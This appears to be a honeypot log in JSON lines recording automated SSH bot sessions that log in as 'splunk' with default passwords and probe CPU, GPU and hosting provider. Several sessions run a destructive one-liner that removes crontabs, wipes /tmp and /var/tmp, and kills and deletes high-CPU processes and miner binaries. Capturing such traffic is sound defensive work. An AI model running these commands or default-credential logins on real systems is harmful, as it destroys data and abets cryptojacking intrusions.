{"id":"f2b6d37c-d1e8-4868-a408-cb0ad5bd673f","name":"indigo-hazy-jaguar","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.42.147","src_port":33958,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":272,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-21T13:51:58.500310+00:00","ended_at":"2026-08-21T13:52:03.201423+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":863,"events":[{"seq":1,"at":"2026-08-21T13:51:09.215085+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-21T13:51:11.754670+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-21T13:51:12.028301+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-21T13:51:17.037316+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-21T13:51:17.240436+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-21T13:51:22.386910+00:00","kind":"output","latency_ms":null,"data":"1 day, 10:41"},{"seq":7,"at":"2026-08-21T13:51:22.653919+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-21T13:51:25.853379+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-21T13:51:26.267046+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-21T13:51:31.016470+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-21T13:51:31.181113+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-21T13:51:34.305644+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-21T13:51:34.486996+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-21T13:51:39.570317+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-21T13:51:40.019727+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-21T13:51:45.477026+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-21T13:51:45.807532+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-21T13:51:50.616556+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-21T13:51:51.054351+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-21T13:51:54.479315+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-21T13:51:54.835662+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-21T13:51:58.323925+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-21T13:51:58.501073+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-21T13:52:03.052431+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"splunk","password":"splunk","method":"password","accepted":true,"tier":"other"}]}
{"id":"3226d8c2-70af-4614-adf5-dc818c71c552","name":"verdant-jaunty-cardinal","protocol":"ssh","channel_kind":null,"src_ip":"91.92.42.147","src_port":38276,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-21T13:33:36.892068+00:00","ended_at":"2026-08-21T13:33:40.434393+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"splunk","password":"password","method":"password","accepted":true,"tier":"other"}]}
{"id":"08b53acf-f098-42ce-a213-41f185f62901","name":"blunt-gleaming-redstart","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.42.147","src_port":35892,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":318,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-21T13:33:30.923204+00:00","ended_at":"2026-08-21T13:33:40.435887+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1660,"events":[{"seq":1,"at":"2026-08-21T13:32:31.680170+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-21T13:32:36.433873+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-21T13:32:36.603676+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-21T13:32:41.733575+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-21T13:32:42.044271+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-21T13:32:45.567208+00:00","kind":"output","latency_ms":null,"data":"1 day, 10:22"},{"seq":7,"at":"2026-08-21T13:32:45.779171+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-21T13:32:49.195824+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-21T13:32:49.572075+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-21T13:32:54.575504+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-21T13:32:55.074946+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-21T13:32:58.537163+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-21T13:32:58.733239+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-21T13:33:01.504342+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-21T13:33:02.196663+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-21T13:33:07.508195+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-21T13:33:07.975833+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-21T13:33:10.548970+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-21T13:33:11.071230+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-21T13:33:17.059302+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-21T13:33:17.326712+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-21T13:33:22.313891+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-21T13:33:22.530552+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-21T13:33:25.795879+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-21T13:33:26.113676+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-21T13:33:30.923802+00:00","kind":"input","latency_ms":null,"data":"echo password > /tmp/d.log"}],"credentials":[{"username":"splunk","password":"password","method":"password","accepted":true,"tier":"other"}]}
{"id":"6dc698db-385c-4d9a-98b5-1d7eb191a15c","name":"ivory-marine-curlew","protocol":"ssh","channel_kind":"exec","src_ip":"45.156.87.93","src_port":50828,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":197,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T19:27:29.258088+00:00","ended_at":"2026-08-20T19:27:32.919758+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":856,"events":[{"seq":1,"at":"2026-08-20T19:26:43.829311+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T19:26:49.603876+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T19:26:49.826410+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T19:26:54.085017+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-20T19:26:54.279964+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T19:26:57.556540+00:00","kind":"output","latency_ms":null,"data":"16:17"},{"seq":7,"at":"2026-08-20T19:26:57.734917+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-20T19:27:00.757002+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-20T19:27:00.949088+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-20T19:27:03.558091+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-20T19:27:03.754631+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-20T19:27:07.092000+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-20T19:27:07.278294+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-20T19:27:13.210552+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-20T19:27:13.391885+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-20T19:27:15.978238+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-20T19:27:16.243079+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-20T19:27:19.979670+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-20T19:27:20.178548+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-20T19:27:24.215572+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-20T19:27:24.521799+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-20T19:27:29.054230+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-20T19:27:29.258962+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-20T19:27:32.825895+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"splunk","password":"password","method":"password","accepted":true,"tier":"other"}]}
{"id":"835e01b1-2ee6-4669-b2e8-0851efab7ebe","name":"inland-wry-vicuna","protocol":"ssh","channel_kind":null,"src_ip":"45.156.87.93","src_port":35344,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T18:51:24.475399+00:00","ended_at":"2026-08-20T18:51:26.146743+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"splunk","password":"splunk","method":"password","accepted":true,"tier":"other"}]}
{"id":"5fcbd15f-d160-42bb-a01f-3cc495df57c0","name":"dappled-plucky-ptarmigan","protocol":"ssh","channel_kind":"exec","src_ip":"45.156.87.93","src_port":40282,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":192,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T18:51:18.374912+00:00","ended_at":"2026-08-20T18:51:26.139234+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1651,"events":[{"seq":1,"at":"2026-08-20T18:50:25.481364+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T18:50:29.679846+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T18:50:29.874045+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T18:50:35.194936+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-20T18:50:35.383055+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T18:50:39.600762+00:00","kind":"output","latency_ms":null,"data":"15:40"},{"seq":7,"at":"2026-08-20T18:50:39.825341+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-20T18:50:44.790521+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-20T18:50:45.168227+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-20T18:50:49.050393+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-20T18:50:49.224951+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-20T18:50:53.882254+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-20T18:50:54.064900+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-20T18:50:59.412074+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-20T18:50:59.604744+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-20T18:51:02.323098+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-20T18:51:02.505752+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-20T18:51:05.217143+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-20T18:51:05.421402+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-20T18:51:08.522525+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-20T18:51:08.778378+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-20T18:51:11.842247+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-20T18:51:12.012625+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-20T18:51:15.076634+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-20T18:51:15.265244+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-20T18:51:18.375662+00:00","kind":"input","latency_ms":null,"data":"echo splunk > /tmp/d.log"}],"credentials":[{"username":"splunk","password":"splunk","method":"password","accepted":true,"tier":"other"}]}
{"id":"a3c9e6c6-76c4-414f-8763-d7ff71aa9879","name":"merry-seaward-squirrel","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.66","src_port":51268,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":198,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T10:29:16.089959+00:00","ended_at":"2026-08-20T10:29:16.719160+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":744,"events":[{"seq":1,"at":"2026-08-20T10:29:08.425347+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T10:29:08.425763+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T10:29:08.592245+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T10:29:09.106696+00:00","kind":"output","latency_ms":511,"data":"x86_64"},{"seq":5,"at":"2026-08-20T10:29:09.275163+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T10:29:09.811110+00:00","kind":"output","latency_ms":534,"data":"7:19"},{"seq":7,"at":"2026-08-20T10:29:10.078286+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-20T10:29:10.078900+00:00","kind":"output","latency_ms":null,"data":"1"},{"seq":9,"at":"2026-08-20T10:29:10.286185+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-20T10:29:10.877665+00:00","kind":"output","latency_ms":null,"data":"-bash: lspci: command not found"},{"seq":11,"at":"2026-08-20T10:29:11.043034+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-20T10:29:11.275637+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":13,"at":"2026-08-20T10:29:11.473902+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-20T10:29:12.161918+00:00","kind":"output","latency_ms":686,"data":"AS21859 T-Mobile USA, Inc."},{"seq":15,"at":"2026-08-20T10:29:12.640678+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-20T10:29:13.219797+00:00","kind":"output","latency_ms":580,"data":"1"},{"seq":17,"at":"2026-08-20T10:29:13.416617+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-20T10:29:13.987208+00:00","kind":"output","latency_ms":570,"data":"Product Name                    : NVIDIA GeForce GTX 1080 Ti"},{"seq":19,"at":"2026-08-20T10:29:14.155959+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-20T10:29:14.726819+00:00","kind":"output","latency_ms":570,"data":"0"},{"seq":21,"at":"2026-08-20T10:29:14.928008+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-20T10:29:15.665784+00:00","kind":"output","latency_ms":null,"data":""},{"seq":23,"at":"2026-08-20T10:29:16.090767+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-20T10:29:16.614850+00:00","kind":"output","latency_ms":524,"data":"7.0.0-22-generic"}],"credentials":[{"username":"splunk","password":"password","method":"password","accepted":true,"tier":"other"}]}
{"id":"5b0b7a61-622c-47da-87b1-c7f8a4040145","name":"lanky-thrifty-godwit","protocol":"ssh","channel_kind":null,"src_ip":"91.92.47.66","src_port":34188,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T10:28:24.475848+00:00","ended_at":"2026-08-20T10:28:26.339094+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"splunk","password":"splunk","method":"password","accepted":true,"tier":"other"}]}
{"id":"87b53026-df8e-46f2-8889-be73dc547606","name":"foggy-marbled-raven","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.66","src_port":43146,"username":"splunk","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":181,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T10:28:24.020502+00:00","ended_at":"2026-08-20T10:28:26.339686+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1580,"events":[{"seq":1,"at":"2026-08-20T10:28:14.984326+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T10:28:14.984655+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T10:28:15.153628+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T10:28:15.338018+00:00","kind":"output","latency_ms":null,"data":""},{"seq":5,"at":"2026-08-20T10:28:15.509574+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T10:28:16.359408+00:00","kind":"output","latency_ms":850,"data":"7:18"},{"seq":7,"at":"2026-08-20T10:28:16.660620+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-20T10:28:16.661075+00:00","kind":"output","latency_ms":null,"data":"1"},{"seq":9,"at":"2026-08-20T10:28:16.943562+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-20T10:28:17.248934+00:00","kind":"output","latency_ms":null,"data":"-bash: lspci: command not found"},{"seq":11,"at":"2026-08-20T10:28:17.422460+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-20T10:28:18.197807+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":13,"at":"2026-08-20T10:28:18.408624+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-20T10:28:18.976176+00:00","kind":"output","latency_ms":566,"data":"AS16509 Amazon.com, Inc."},{"seq":15,"at":"2026-08-20T10:28:19.268383+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-20T10:28:19.570934+00:00","kind":"output","latency_ms":null,"data":"-bash: nvidia-smi: command not found"},{"seq":17,"at":"2026-08-20T10:28:19.752754+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-20T10:28:20.743670+00:00","kind":"output","latency_ms":989,"data":"bash: nvidia-smi: command not found"},{"seq":19,"at":"2026-08-20T10:28:20.923757+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-20T10:28:21.402723+00:00","kind":"output","latency_ms":null,"data":"-bash: lspci: command not found"},{"seq":21,"at":"2026-08-20T10:28:21.583546+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-20T10:28:22.797159+00:00","kind":"output","latency_ms":1211,"data":"localhost"},{"seq":23,"at":"2026-08-20T10:28:23.107920+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-20T10:28:23.683915+00:00","kind":"output","latency_ms":576,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-20T10:28:23.852877+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-20T10:28:24.021272+00:00","kind":"input","latency_ms":null,"data":"echo splunk > /tmp/d.log"}],"credentials":[{"username":"splunk","password":"splunk","method":"password","accepted":true,"tier":"other"}]}